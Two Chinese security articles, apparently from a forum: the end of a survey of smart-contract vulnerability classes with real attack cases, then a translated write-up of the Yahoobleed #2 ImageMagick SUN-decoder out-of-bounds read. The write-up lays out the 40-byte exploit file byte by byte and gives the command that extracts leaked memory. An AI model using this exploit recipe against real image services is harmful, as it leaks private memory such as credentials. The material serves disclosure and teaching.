以上问题是平台为智能合约提供的最基础的安全机制。这些安全机制为智能合约的执行提供了最基本的保障，然而，事实证明，这些安全机制仍然不足以保障智能合约的安全，和现实世界中涌现出的大量的智能合约漏洞。
# 3 合约漏洞类型总结
真实世界的智能合约反反复复被攻击，合约漏洞层出不穷，攻击方式多种多样，由攻击导致的损失已超百亿美元。这些漏洞的背后是否有迹可循呢？如此巨大的代价换来的经验是否可以服务于其他链平台的合约安全？本小节试图讨论一下这个问题。我们按照漏洞在各平台的通用性的高低把漏洞类型分为
5 个类型，分开讨论。
## 3.1 基础类型漏洞类型
基础类型漏洞最为通用，每个平台都会涉及。
### 3.1.1 整数溢出/Integer Overflow
整数溢出发生的原因是因为寄存器能表示的数值位数有限，当存储的数值大于能表示的最大范围后，数值发生溢出，或称为反转。最大值溢出会变成最小值，最小值溢出会变成最大值。
C++ 语言经常会发生整数溢出问题。看一个具体的案例:
if (p->size() < x*y) {
return COORDICATE_IS_ILLEGAL;
}
左右滑动查看完整代码
if (p->size() < x * y) 语句中 x * y 可以溢出，溢出后为一个很小的数，可以绕过 if
语句的检测，进入到后面的逻辑。这种情况在任何平台都可能发生，是平台通用性最高的一类。
### 3.1.2 随机数可预测/Predictable Random
随机数的使用场景非常广泛，如彩票，游戏，签名算法。虽然随机数很重要，但是在区块链中实现一个基本的随机数并不是一件想象中那样简单的事情。在传统互联网中，随机数是密码学与隐私安全的基础。传统的伪随机数生成算法或多或少与单台机器的物理状态或运算状态相关，这在区块链上是行不通的。对于不熟悉区块链的人而言，这可能有些难以理解：毕竟大多数编程语言都有生成随机数的功能。区块链是一个分布式的系统，它要求各个节点的运算结果是可验证、可共识的，这就使得在区块链上进行随机数生成有了天然的限制。
为了保证每个节点的运算结果是可验证，可共识的，平台通常使用链上的公开信息作为随机源。每个平台都有一些特有的属性，如以太坊有
block.number，block.timesteamp；EOS 有
ref_block_num，ref_block_prefix。这些属性是公开可得的，但是也可以被操控或者预测。如果使用这些属性作为随机数的种子，那么随机性会被破坏。以太坊和
EOS 上有非常多被攻击的真实案例。
其他平台的合约里如果使用了可预测的随机种子，那么合约的安全性也会受到威胁。如波场TVM提供了以下特殊函数来获得链上公开信息：
· block.number (uint): 当前区块号
· block.timestamp (uint): 自 unix epoch 起始当前区块以秒计的时间戳
· block.coinbase (address):当前区块的出块SR地址
由于这些区块基础信息具有一定的随机性，很多合约开发者使用以上的三种特殊函数来进行随机数的生成。其中就包括著名的Fomo3D，seed的计算依赖于区块数据，比如timestamp,
difficulty, coinbase, gasLimit,
number等字段，一旦这笔交易被打包进区块，这些值就已经确定了。因此，攻击者可以构造如下的合约，在合约内提前对结果进行测算，当结果符合预期时再进行对Fomo3D目标合约的调用，成功破解了Fomo3D。
## 3.2 函数接口漏洞类型
函数接口相较于基础类型复杂性有所提升。其他平台上也会有函数调用类问题。
### 3.2.1 外部调用注入/External Call Injection
外部调用在各种语言和平台都极为常见。外部传入的参数可控，攻击者就可以通过控制参数改变合约的执行逻辑。
· 以太坊
以太坊里有 2 个特殊的外部调用传参的入口：
· call：普通调用，执行上下文是外部合约的上下文，会更改调用者为实际调用者。
· delegatecall ：代理调用，执行上下文是本地合约上下文，传入的参数会影响本地的数值。
利用这 2
个接口改变调用者或上下文的特性，攻击者传入精心设计的参数可以控制合约的执行逻辑，可以绕过访问控制，修改敏感的状态数据，如账户余额等。具体案例可查看[百万合约之母以太坊的漏洞攻防术（上集）](https://mp.weixin.qq.com/s/hi2xigJFtHXbscATbXsAng
"百万合约之母以太坊的漏洞攻防术（上集）") call 注入漏洞和 delegatecall 漏洞小节。
· EOS
EOS体系是以通讯为基本的，Action 就是EOS上通讯的载体。EOSIO 支持两种基本通信模型：
· 内联（inline）通信，如在当前交易中处理 Action。
· 延迟（defer）通信，如触发一笔将来的交易。
Inline 通信使用原始交易相同的 scope 和权限作为执行上下文，并保证与当前 action 一起执行。Deferred 跟 inline
通信相比，执行上下文是相同的，不同的是会延迟执行。
跟以太坊 call 调用不同，EOS 体系不改变调用者或者上下文。是否不改变调用者和上下文就免受外部调用注入的影响呢？事实并非如此。
2020 年 10 月 8 日就发生了一起通过精心设计传入的参数进行外部调用注入的攻击。imToken 发推表示，用户报告称 31 万枚 DAI 被盗，这与
DeFi Saver Exchange 漏洞有关。攻击者通过调用 DeFi Saver 的 swapTokenToToken 函数传入
_exchangeAddress，_hide，_dest 为 DAI 合约地址，选择 _exchangeType 为 4，并传入自定的
_callData。通过构造这些参数，成功的控制了合约的执行逻辑，盗取了31万 DAI。
所以，不管是否利用call/delegatecall这类特殊接口的特性，只要合约存在外部调用的接口，都可能受到外部调用注入的影响。
### 3.2.2 未检查返回值/Unchecked Return Value
未检查返回值在任何平台都可能出现。具体案例可查看[百万合约之母以太坊的漏洞攻防术（下集)](https://mp.weixin.qq.com/s/Fj6cZ21yuGXDT0qStLaopw
"百万合约之母以太坊的漏洞攻防术（下集\)")未检查返回值小节 。
· gasless send 问题：未检查 send 和 call 的返回值，导致双方账目不一致。
· exception disorder 问题：未检查 call 调用的返回值，导致异常不能向上传递，发生逻辑错误。
EOS 尚未发现由未检查返回值引起的安全问题，但是 EOS 也会受此问题的影响。
任何合约不检查返回值，都导致非常严重的后果，如以下代码：
for (int i = 0; i < static_cast<int>(admin_addresses.size()); ++i) {
bool exists = CheckAccount(admin_addresses[i]);
(void)exists;
}
CheckAccount(admin_core_contract_id);
左右滑动查看完整代码
CheckAccount() 检查了帐号有效性，但是未对返回值做处理，导致无论帐号是否有效都可以进入到后续的逻辑。这种问题在任何平台都可能出现，要全力避免。
### 3.2.3 未校验参数合法性/Illegal Parameter
跟外部调用注入不同之处在于，这一类别内外部接口的参数都需要校验。参数的合法性包括：参数个数，参数大小，参数结构，参数有效期等等。如果接口没有校验参数合法性，则会存在较大安全风险。
短地址漏洞 (short address) 成因之一是因为函数中没有校验传入的参数的 size 是否正确。攻击者调用其他合约的时候，特意选取以 00
结尾的地址，传入地址参数的时候省略最后的 00，EVM 在解析数量参数时候对参数错误的补
0，导致超额转出代币。如果校验了传入参数的合法性，则此问题可以避免。此漏洞发现后已很快被修复。
### 3.2.4 权限控制问题/Access Control
权限控制问题是安全设计类问题，每个平台都需要安全设计。若缺少安全设计，则合约会更容易暴露在攻击者面前。
#### 3.2.4.1 合约对用户无权限控制
敏感函数完全没有权限控制。敏感函数可以是转账类函数，修改全局变量类函数，查询敏感信息类函数。敏感函数无访问控制的问题平台无关，任何合约运行平台都可以存在。
如 2020 年 7 月 1 日，VETH 合约遭遇黑客攻击。此次攻击主要利用 Vether 合约中 changeExcluded 函数的可见性为
external 且未有权限限制，用户可以直接进行外部调用为攻击创造了必要的条件，最终盗走巨额的 VETH。
#### 3.2.4.2 合约对用户权限控制不当
这类问题比起完全无权限控制问题，提升了攻击门槛，但是处境并无差别，因为依然可以被攻破。属于设计上有安全设计，但是实际实现上没有达到预期。
· 以太坊一般使用 msg.sender 验证身份，如果错误地使用了 tx.origin
验证身份，就可以被绕过。具体案例可以查看[百万合约之母以太坊的漏洞攻防术（下集)](https://mp.weixin.qq.com/s/Fj6cZ21yuGXDT0qStLaopw
"百万合约之母以太坊的漏洞攻防术（下集\)")权限控制漏洞小节。
· EOS 的入口函数 apply 里通常要验证发送者的身份，如果错误地使用了 if (code == receiver )
判断，认证可以被绕过。具体案例可查看[EOS菠菜应用篇](https://mp.weixin.qq.com/s/QAvFyfAetlwF3Vow-liEew
"EOS菠菜应用篇")合约对用户权限控制不当 — apply 函数小节。
权限控制不当的表现方式多种多样，如2020 年 8 月 5 日，Opyn 合约遭遇黑客攻击。原因在于 vaultToExerciseFrom
的校验存在缺陷。此检查未校验 vaultToExerciseFrom 是否是调用者自己，而只是简单地检查是否创建了 vault，导致攻击者可以任意传入已创建
vault 的地址来通过检查。
#### 3.2.5.3 合约滥用用户权限
滥用权限是指合约申请了用户的授权，然后合约自主更新成恶意版本，拿着用户的授权做恶意操作。如果合约升级没有任何管控，合约创建者可以自主升级，用户无感知。这就存在合约创建者可能升级为恶意合约的问题，是一种安全隐患。
EOS 有eosio.code 权限的问题，eosio.code 权限是 dawn4.0 后新增的内部特殊权限，用来加强 inline action
的安全性。inline action 简单来说就是action 调用另外一个 action，具体来说就是一个智能合约调用另外一个智能合约。
inline action 需要向用户申请 eosio.code 权限。用户只有授权 eosio.code
权限给合约之后，合约才可以以用户身份调用另一个合约。任何申请用户 active
权限的场景。由于合约可以升级，即使授权版本的合约经过审计，也无法保证后续升级合约不作恶。
DeFi 中也存在滥用权限的问题。DeFi 合约可能会为了“能更方便地操纵你的资产”的目的，向你申请授权，那这个授权调用又是个什么样子呢？看一个具体的示例：
https://etherscan.io/tx/0x419d17e216cda75dd9635a752e9aedb8f43ed4bfe31a6f75ed8923779c73eb6e
这笔交易表示【0x3693】 这个地址授权给【Uniswap V2: Router 2】合约无限动用自己全部 USDT
的权力。这就带来一个巨大的隐忧，在合约 owner 作恶，或者合约存在漏洞的情况下，用户【0x3693】可能失去全部的 USDT。
因为滥用授权，即便用户没有或者只向合约转入了很少的资产，如果合约有授权转账相关的漏洞，则所有授权过的用户钱包内的资产都将面临风险。即便是没有漏洞，合约开发者也具备更新代码后拿走授权用户钱包内全部资产的权力。所以，用户测要小心授权，避免授予无限权限，定期回收不需要的权限，项目测要最小申请用户权限，避免申请无限权限。
## 3.3 平台特性漏洞类型
特性比函数调用更为复杂。一些特性会引起安全问题。支持此特性的平台需留意。
### 3.3.1 利于重入(Re-entrancy)的特性
fallback
特性利于重入漏洞，重入漏洞最先在以太坊平台上被发现。具体案例可查看[百万合约之母以太坊的漏洞攻防术（上集）](https://mp.weixin.qq.com/s/hi2xigJFtHXbscATbXsAng
"百万合约之母以太坊的漏洞攻防术（上集）")重入漏洞小节。虽然只要有外部调用就存在重入的可能，但是正常情况下，1、调用外部函数的时候会进行代码审计，2、外部函数不会提前预见到调用者的函数名。所以仅利用外部调用进行重入攻击是有难度的。但是以太坊平台还支持
fallback 特性，在两种情况下会调用到 fallback 函数：
1.未找到函数名，默认会调用 fallback。
2.转账操作默认会调用 fallback。
利用 fallback 特性可以大大降低重入的难度。
除了
fallback，目前还发现一种特性也利于重入——合约升级。审计版本是正常合约，但是后来悄悄升级成恶意合约，实施重入。如果其他平台支持合约无感升级，那么重入的风险会非常大。
### 3.3.2 提前交易(Front-running)特性
提前交易是指攻击者发现有利可图的时候就通过一些手段让自己的交易优先执行。关于提前交易的具体案例可以参考[百万合约之母以太坊的漏洞攻防术（上集）](https://mp.weixin.qq.com/s/hi2xigJFtHXbscATbXsAng
"百万合约之母以太坊的漏洞攻防术（上集）")提前交易漏洞小节。
交易顺序通常由 3 种方式决定：
手续费
手续费高的优先执行，手续费低的延后执行。以太坊的交易手续费可以决定交易被打包的顺序。所以攻击者发现有利可图的时候就通过增加手续费的方式让自己的交易优先执行。这种方式的代价就是额外付出手续费，技术层面不需要。
先进先出
先接收到的交易优先执行。典型的例子是
EOS。这种情况下，普通攻击者很难通过经济手段让自己先执行，除非通过技术手段攻破出块节点，操控交易顺序。但这个难度是相当高的。
共识节点排序
现在越来越多的公链引入了 PBFT 共识协议或者由 PBFT
衍生的同类协议。使用这种共识协议时，交易顺序通常由主节点决定，如果主节点存有私心，选择了有益于自身利益的顺序，也会产生提前交易问题，且主节点的偏袒不会被发现。普通攻击者无法通过经济手段操纵顺序，通过技术手段，或者社交工程学手段可以达成目的，但是这种手段目前没有发现真实案例。
总结来看，如果交易顺序可以被人为操控，那么会受提前交易漏洞的影响。
### 3.3.3 延迟交易(Delayed-transaction)特性
EOS 支持延迟交易的特性，通过设置 delay_sec 让交易在指定的时间触发执行。如果 delay_sec =
0，由于EOS执行交易采用FIFO策略，这些延迟交易肯定在其他交易之前执行。大量 delay_sec = 0 的延迟交易可以发起 DoS
攻击。具体案例可以参考[EOS菠菜应用篇](https://mp.weixin.qq.com/s/QAvFyfAetlwF3Vow-liEew
"EOS菠菜应用篇")DoS漏洞/交易延迟漏洞小节。
目前，我们仅了解到 EOS 支持延迟交易，但是可以推断的是支持此特性的平台都会受此漏洞影响。
### 3.3.4 回滚(Rollback)特性
回滚是一种特性，当函数执行失败的时候回滚到初始状态，一般区块链平台都会支持这个特性。
在以太坊平台有以下方式可以触发回滚：
· require();
· assert();
· revert();
在 EOS 平台有 eosio_assert() 可以触发回滚。
攻击者可以使用这些方式在不符合自己利益的时候把交易回滚，就可以达到一直盈利的目的。比如，彩票合约中，不中奖就回滚。以太坊平台和EOS平台回滚特性的具体案例可以参考[百万合约之母以太坊的漏洞攻防术（上集）](https://mp.weixin.qq.com/s/hi2xigJFtHXbscATbXsAng
"百万合约之母以太坊的漏洞攻防术（上集）")和[EOS菠菜应用篇](https://mp.weixin.qq.com/s/QAvFyfAetlwF3Vow-liEew "EOS菠菜应用篇")的回滚漏洞小节。
支持回滚特性的平台都会受回滚攻击的影响。例如波场的多个 Dapp
都遭受过回滚攻击：SPOKpark、DappRoulette、Divitron、DiceGame、TRONtopia_ultimate_dice、Wheel
Of Fortune DApp，等等。
## 3.4 充值场景漏洞类型
一个场景可以用到多个特性。充值场景多发生在向交易所或者游戏项目方充值的场景。目前已经发现了 3 类漏洞：假充值，假通知(fake transfer
notice)，假代币(fake token)。这些漏洞都是利用交易所/项目方校验逻辑存在漏洞， 0 成本获得充值。
### 3.4.1 假充值漏洞
假充值漏洞是指易所给用户充值的余额和交易所自己实际收到的余额不符，通常情况下是实际收到的金额少于给用户充值的金额，导致交易所损失。
这类漏洞的主要成因是交易所没有正确的校验充值结果。
· 以太坊的假充值的原因是错误的认为交易回执中 status = true 就是充值成功，实际上 status = true
是指没有抛出异常，即使充值执行失败函数 return false，交易回执中的 status 也会是 true。仅判断 status 是否为 true
是不正确的。具体案例可以查看[百万合约之母以太坊的漏洞攻防术（上集）](https://mp.weixin.qq.com/s/hi2xigJFtHXbscATbXsAng
"百万合约之母以太坊的漏洞攻防术（上集）")假充值漏洞小节。
· EOS 的假充值也是类似的问题。项目方只是对交易是否存在作出了判断。但是交易可能执行失败，交易状态变成 hard_fail。hard_fail
的交易也可以在链上出现记录。所以，把交易是否存在作为充值成功的依据是不正确的。具体案例可以查看[EOS菠菜应用篇](https://mp.weixin.qq.com/s/QAvFyfAetlwF3Vow-liEew "EOS菠菜应用篇")的假充值漏洞小节。
如果交易所仅仅通过校验中间结果，而不去校验实际收到的金额，就会出现假充值问题。
举一反三来看，USDT 假充值漏洞，XRP 假充值漏洞，门罗币假充值也是类似的原因。门罗币交易所没有检测真实钱包收账余额，而是仅仅通过
show_transfers 来确认用户充值金额，show_transfers
指令并没有跳过重复的交易，每笔重复交易的转账金额也会被计算在内，并最终输出出来，便会出现假充值漏洞，导致交易所给用户充值的余额和交易所自己实际收到的余额不符，攻击者假充值成功后可以进行消费或提款。
所以，涉及到充值场景时，交易所/项目方要仔细辩证校验逻辑是否合理。
### 3.4.2 假通知漏洞
假通知漏洞可以用 EOS
平台上发生的攻击案例解释，具体见[EOS菠菜应用篇](https://mp.weixin.qq.com/s/QAvFyfAetlwF3Vow-liEew
"EOS菠菜应用篇")的假transfer通知小节。EOS 上可以用 require_receipt(someone)
向任何一人发送转账通知。那么攻击者在自己控制的帐号之间转账，但是把转账通知发送给项目方。项目方没有校验接收方是否是自己，默认为攻击者做了充值操作。
目前以太坊上还没有发现假通知漏洞，但是不代表这种漏洞就不存在。交易所如果没有校验交易回执中的 to 字段是否是自己，也会被攻击者攻击。
在项目方一侧要全面的校验当前交易回执是否跟自己有关。
### 3.4.3 假代币漏洞
顾名思义，假代币就是拿假钱当真钱花。EOS
平台已经出现了真实的攻击案例，具体见[EOS菠菜应用篇](https://mp.weixin.qq.com/s/QAvFyfAetlwF3Vow-liEew
"EOS菠菜应用篇")假EOS代币小节，以太坊平台目前还没有发现。假代币发生的原因是交易所/项目方没有验证币的真伪，使得攻击者可以用假币换真币。
假代币的问题在其他平台也存在。波场 DApp tronbank
于2019年4月11日凌晨1点曾遭受假币攻击。该次假币攻击事件主要原因在于合约没有严格验证代币的唯一标识符代币
ID，错误地将攻击者自己发行的无价值代币识别为价值85万元的BTT代币，从而造成了损失。
如果平台发行了代币，那么需要告知交易所/项目方，进行真伪代币的校验。
## 3.5 经典攻击手法的再现
一些经典的攻击手法，如重放攻击，DoS，跟平台特性结合之后，可以引起新的安全问题。
### 3.5.1 重放/Replay
经典重放攻击的基本原理就是把以前窃听到的数据原封不动地重新发送给接收方。很多时候，网络上传输的数据是加密过的，此时窃听者无法得到数据的准确意义。但如果他知道这些数据的作用，就可以在不知道数据内容的情况下通过再次发送这些数据达到愚弄接收端的目的。
重放攻击在币圈被热谈，是以太坊硬分叉的时候。我们知道以太坊硬分叉出现了ETH和ETC两条链，两条链上的交易数据结构是完全一样的，因此一笔交易在ETH上是有效的，
那它在ETC上同样会被接受，反之亦然。
因为没能提前识别重放攻击的威胁，以太坊分叉时几乎所有交易所也都没意识到这个问题，更没有提前做ETH和ETC分离，
这时候只要有人从交易所提取ETH币，就有可能得到同等数量的ETC币。许多人利用这个漏洞，不断在交易所充币和提币（ETH）， 从而获取额外的ETC。
分叉链都面临相似的问题。BCH硬分叉成 BCH 和 BSV
两条链时，也面临相似的问题。在BSV链上交易时，由于相同的地址、算法和交易格式，拿到BCH链上去重新广播，就有可能会被BCH链承认有效，从而进行相同的交易操作。
除了链层面，合约层面也会受重放攻击的影响。如攻击者在以太坊合约上重放用户的签名信息，具体案例可查看以太坊（下集）重放漏洞小节，在 EOS
合约上重放中奖消息，具体案例可查看重放漏洞 — 重放中奖消息小节。重放攻击是一种攻击思想，任何平台任何环节都可能被影响。
### 3.5.2 拒绝服务/DoS
经典攻击手法里的拒绝服务攻击（英语：denial-of-service
attack，简称DoS攻击）是一种网络攻击手法，其目的在于使目标电脑的网络或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。
DoS 攻击思路用于以太坊可以有多种形式，攻击以太坊的多种特性都可以让以太坊无法提供服务。
· king of ether 代表的 DoS 漏洞类型。这种 DoS
漏洞类型是：依赖外部调用的进展，如果外部调用执行失败，后续的操作也就无法执行，导致拒绝服务。
· GovernMental 骗局代表的 DoS 漏洞类型。这种 DoS
漏洞类型是：依赖外部可以操作的数据，如数组或映射，如果外部操作改变了数据，修改后的数据使得后续的操作因超时或者 out of gas
无法执行，导致拒绝服务。
· freezing ether 代表的 DoS 漏洞类型。这种 DoS
的漏洞类型是：依赖外部的合约库。如果外部合约的库被删除，那么所有依赖库的合约服务都无法使用。
EOS 的 DoS 攻击是利用延迟交易特性和执行交易的先进先出特性。攻击者可以在正常交易里嵌入大量 delay_sec=0
的恶意延迟交易，由于EOS执行交易采用FIFO策略，这些延迟交易在其他交易之前执行。只要这些恶意延迟交易足够多，正常交易会被一直阻塞，无法提供正常服务。
针对这几个特性，分析一下其他平台是否会受影响。
· king of ether 类：要看平台是怎么处理合约调用的，合约 A 调合约 B，如果 B 执行失败，会不会影响 A
的执行。如果影响，那么就跟以太坊一样存在 DoS 攻击。如果不影响 A 的执行，那么就不存在 DoS 攻击。
· GovernMental 类：如果平台有停机机制，如 gas，会受影响。如果平台可以无限执行指令，那么不会受影响。
· Freezing ether
类：要看平台是否支持合约地址可指定。如果合约地址向以太坊一样不可指定，那么合约一旦被删除将无法恢复，会受影响。如果合约地址可指定，那么即使被删除，也可以恢复，不受影响。
· 延迟交易类：支持延迟交易的平台会受影响，反之，不受影响。
DoS 是一种攻击思路，平台尽可能防范，但无法完全避免。
# 4 小结
本文按照由简单到复杂的顺序排列漏洞类型。越简单基础的类型，平台通用性就越强，如整数溢出，权限控制不当，在任何平台都有可能出现。对于平台特性类，平台支持某个特性，就会受相应特性的影响，进行安全设计时，需要考量平台特性带来的安全风险。一个场景涉及多个特性，场景中比较特殊的是充值场景，有涉及到充值场景的项目方需提高警惕。最后，经典的攻击手法重放攻击、DoS
攻击可能被应用到任何一个环节，出其不意地引发各式各样的安全问题。
本文是智能合约漏洞系列总结篇，主要目的是回顾已经发生的漏洞，总结漏洞根因，并预测其他平台是否会受影响。前车之鉴，后事之师。
参考文献
<https://bbs.pediy.com/thread-250801-1.htm>
<https://bcsec.org/index/eventsearch/name/attack_type/value/回滚攻击/page/1/tag/1>
<https://www.8btc.com/books/834/blockchain-security/_book/09.html>
<https://xz.aliyun.com/t/3316>
<https://www.chainnews.com/articles/558348165334.htm?spm=ata.21736010.0.0.32931a73wOg8Mk>
<https://www.chainnews.com/articles/180110076539.htm?spm=ata.21736010.0.0.32931a73wOg8Mk>
* * * | 社区文章 |
# 【技术分享】如何通过越界读取漏洞导出内存中的Yahoo!认证密钥
|
##### 译文声明
本文是翻译文章，文章来源：scarybeastsecurity.blogspot.hk
原文地址：<https://scarybeastsecurity.blogspot.hk/2017/05/bleed-more-powerful-dumping-yahoo.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
在我之前发布的关于Yahoobleed
#1（YB1）的一篇[文章](https://scarybeastsecurity.blogspot.com/2017/05/bleed-continues-18-byte-file-14k-bounty.html)中，我们了解到如何利用未初始化漏洞获取其他用户的私密图像信息。当时泄露的内存数据受制于JPEG图像的压缩机制，这种限制对某个图像大盗来说不成问题，然而如果我们想要窃取其他类型的内存内容，已泄露的这些数据仍稍显不足。
在这篇文章中，我会向大家介绍Yahoo!缩略图服务器上存在的另一个滴血（bleed）类的漏洞，我们可以将这个称之为Yahoobleed
#2（YB2）。我们可以利用这个JPEG压缩缺陷（现在这个缺陷依然存在）提取原始的内存字节。结合“strings”工具的使用，我们还可以发现更多惊喜。
Yahoo!通过弃用ImageMagic的方式，在修复YB1漏洞的同时也修复了YB2漏洞。大家可以参考我之前的一篇[文章](https://scarybeastsecurity.blogspot.com/2017/05/bleed-continues-18-byte-file-14k-bounty.html)，通过Yahoo!的回复进一步了解漏洞的修复细节。
**二、可视化**
当我们触发该漏洞时，Yahoo!服务器返回JPEG图片上会出现某些噪点。如上图所示，漏洞触发后，Yahoo!服务器返回了某张JPEG图片，将图片的某个64×4区域转化为PNG格式（即无损格式），放大后可以看到某些噪点，如上图所示。
这张图片有许多有趣的地方值得注意，就现在而言，我们可以观察到的是，图片的顶部存在几个指针图像。我曾在Project
Zero上发表过有关指针可视化的一篇[文章](https://googleprojectzero.blogspot.com/2014/08/what-does-pointer-look-like-anyway.html)，如果你对这篇文章有所了解，你可以在各种内存泄露场景中发现这类指针的存在。至少对于x86_64架构的Linux来说，该系统中的指针通常都包含一个0x00007f的前缀。这类指针的包含几个特点，如：
1、使用相同的对齐方式重复类似的结构（64位系统上使用8字节对齐）；
2、在指针块中，白色垂直条纹指向的是被对齐的最重要的字节，表示的是0x00（需要注意的是，由于输入文件的特殊格式，所泄露的字节实际上经过了取反处理）；
3、在指针块中，紧挨其后的黑色垂直条纹所代表的含义是某行的7个比特的值被设置为0x7f。
4、在指针块中，紧挨其后的白色垂直细长条纹所代表的含义是该行的1个比特的值没有被设置为0x7f。
但我们还是会遇到JPEG压缩算法，这会不会对逐字节数据提取造成困难？我们会慢慢揭开这个谜题。
**
**
**三、漏洞分析**
我们不知道Yahoo!所使用的ImageMagic是否是最新版本，因此我们开始寻找相关的漏洞是否存在。我们已经知道Yahoo!支持RLE格式，之前我在一篇[文章](https://scarybeastsecurity.blogspot.com/2017/03/black-box-discovery-of-memory.html)中介绍了如何使用某个技巧挖掘Box.com的内存损坏漏洞，也许我们可以使用相同的技巧对Yahoo!进行测试。
非常有趣的是，漏洞利用文件并不会导致任何文件崩溃，但服务器依然渲染了所有的测试文件，而最新版本的ImageMagic完全不会渲染这些文件。经过一番思考，我认为最有可能的解释就是，Yahoo!所用的ImageMagic的确是存在漏洞的老版本，但根据我们对YB1漏洞的分析，Yahoo!使用了不一样的堆设置，受对齐方式影响，我们的堆越界访问测试用例无法在Yahoo!上生效。
为了验证这个假设，我们构造了一个堆越界写RLE文件，足以覆盖堆中的某一小块数据（64字节大小，大约会有16个字节被覆盖），并将该文件上传到Yahoo!上。访问缩略图URL后，服务器会较为稳定地（以大约50%左右的概率）返回如下结果：
这个结果看上去像是一个非常明显的后端错误，我们猜测它最有可能是一个SIGSEGV错误，这个错误与已有两年历史的[RLE内存损坏问题](http://git.imagemagick.org/repos/ImageMagick/commit/7131d8ff451a1d5163e7e35b7a910df80cb54fab)有关。
但是我们今天的目标并不是如何利用这个RCE内存损坏错误，虽然这个过程肯定非常有趣。我们的目标是通过滴血攻击来提取数据。现在，我们手上拥有的是一个已有2.5岁年龄的ImageMagick，对于这个版本的ImageMagick而言，肯定有许多漏洞已经被修复了。经过一番搜索，我们找到了一个候选漏洞：一个已有2年以上历史的、已经在SUN解码器中修复的[越界漏洞](http://git.imagemagick.org/repos/ImageMagick/commit/b8f17d08b7418204bf8a05a5c24e87b2fc395b75)。在这个漏洞的修复代码中，开发者似乎对长度做了相关检查，同时更加彻底地应用长度检查过程，使其能够将色深（bit
depth）为1的图像包含在内。让我们稍微研究一下没有打上补丁的代码，并且深入跟踪程序对色深为1的图片的解码路径，我们可以发现如下代码（位于[coders/sun.c](http://git.imagemagick.org/repos/ImageMagick/blob/acabb847a592ca5e430c1c0949d03acfc0b78bb9/coders/sun.c)中）：
sun_info.width=ReadBlobMSBLong(image);
sun_info.height=ReadBlobMSBLong(image);
sun_info.depth=ReadBlobMSBLong(image);
sun_info.length=ReadBlobMSBLong(image);
[...]
number_pixels=(MagickSizeType) image->columns*image->rows;
if ((sun_info.type != RT_ENCODED) && (sun_info.depth >= 8) &&
((number_pixels*((sun_info.depth+7)/8)) > sun_info.length))
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
bytes_per_line=sun_info.width*sun_info.depth;
sun_data=(unsigned char *) AcquireQuantumMemory((size_t) sun_info.length,
sizeof(*sun_data));
[...]
count=(ssize_t) ReadBlob(image,sun_info.length,sun_data);
if (count != (ssize_t) sun_info.length)
ThrowReaderException(CorruptImageError,"UnableToReadImageData");
sun_pixels=sun_data;
bytes_per_line=0;
[...]
p=sun_pixels;
if (sun_info.depth == 1)
for (y=0; y < (ssize_t) image->rows; y++)
{
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (Quantum *) NULL)
break;
for (x=0; x < ((ssize_t) image->columns-7); x+=8)
{
for (bit=7; bit >= 0; bit--)
{
SetPixelIndex(image,(Quantum) ((*p) & (0x01 << bit) ? 0x00 : 0x01),
q);
q+=GetPixelChannels(image);
}
p++;
}
因此，我们发现代码在处理色深为1的图像时存在一个非常明显的问题：
1、假设该图片的属性为：width（宽度）=256, height（高度）=256, depth（色深）=1, length（长度）=8；
2、色深为1的图像会导致与sun_info.length对比的number_pixels的检查过程被绕过；
3、sun_data所分配的缓冲区大小为8字节，而程序从输入文件中读取了这8个字节；
4、然后程序按每个像素1个比特的方式对图片进行解码。在这个过程中，sun_data总共需要(256*256)/8 == 8192个字节，但只有8个字节可用；
5、然后就出现大量的越界读取问题；程序实际上是在一片越界内存中对图片进行渲染。
**
**
**四、漏洞利用**
漏洞利用文件只有40个字节，因此我们可以在十六进制编辑器中观察这个图片的每个字节的含义：
59 A6 6A 95: 头部
00 00 01 00 00 00 01 00: 图片大小256 x 256
00 00 00 01: 图片色深：每像素1比特
00 00 00 08: 图片数据长度为8
00 00 00 01: 图片类型为1：标准图片
00 00 00 00 00 00 00 00: map类型为空，长度为0
41 41 41 41 41 41 41 41: 8字节的图片数据
对于这个漏洞利用文件，我们可以操纵的最为有趣的一个变量就是图片数据长度（image data length）变量。只要我们将其大小控制在(256 *
256) /
8以内，我们就能复现越界读取漏洞。但越界读取从哪个位置开始呢？它会在图片数据分配缓冲区的末尾开始。通过改变图片数据的大小，我们最终有可能操纵堆中不同的相对地址（也许这些地址与缓冲区的开始或结束位置在距离上关系更为密切）。这样一来我们有可能能够读取某些有趣的数据。
**
**
**五、信息提取**
显然我们可以利用这个漏洞来提取信息，这也是这个漏洞真正有价值的地方所在。正如可视化部分所描述的内容，我们可以通过一个JPEG压缩文件来尝试提取信息。事实上我们可以通过ImageMagick获得一张JPEG灰度图像，因为前面每像素1比特的漏洞利用文件会生成一个黑白相间的图形。我们可以利用JPEG灰度图片较好地实现信息提取。人们之所以设计JPEG压缩算法，主要是想欺骗人眼对图片的直观感知。相对比真实的颜色而言，人类视觉对颜色的亮度更为敏感，因此在压缩算法中，颜色数据通常会比亮度数据丢失的信息更多（我们主要是通过[YCbCr颜色空间](https://en.wikipedia.org/wiki/YCbCr)实现这一点）。而JPEG灰度图像中只有亮度数据存在。
回头看看用于信息提取的那张JPEG图像，我们仍然会遇到JPEG压缩算法。我们会被这个困难所阻拦吗？答案是否定的。因为我们的漏洞利用图片是一张每像素1比特（黑色或白色）的图片，因此我们只需要在信息提取的JPEG文件中精确控制每个像素的1比特信息熵即可。虽然某些白色像素实际上是有点浅灰色而不是全白色，且某些黑色像素实际上是有点深灰色而不是全黑色，但每个像素仍然非常接近于黑色或者白色。我当然没有经过严密的数学计算，但事实上，对于Yahoo!服务器所使用的JPEG压缩算法而言，每个像素的确包含1比特的信息熵。根据我的统计，与白色偏差最大的那个像素颜色大约为85%的白色（即非常浅的灰色），而信息丢失的阈值当然更低，可以达到50%或者以下。
我们可以尝试从JPEG文件中恢复原始的字节，只需要使用如下的ImageMagick转换命令即可：
convert yahoo_file.jpg -threshold 50% -depth 1 -negate out.gray
对于本文开头的那个JPEG文件而言，恢复出来的原始内存字节如下所示：
0000000 d0 f0 75 9b 83 7f 00 00 50 33 76 9b 83 7f 00 00
0000020 31 00 00 00 00 00 00 00 2c 00 00 00 00 00 00 00
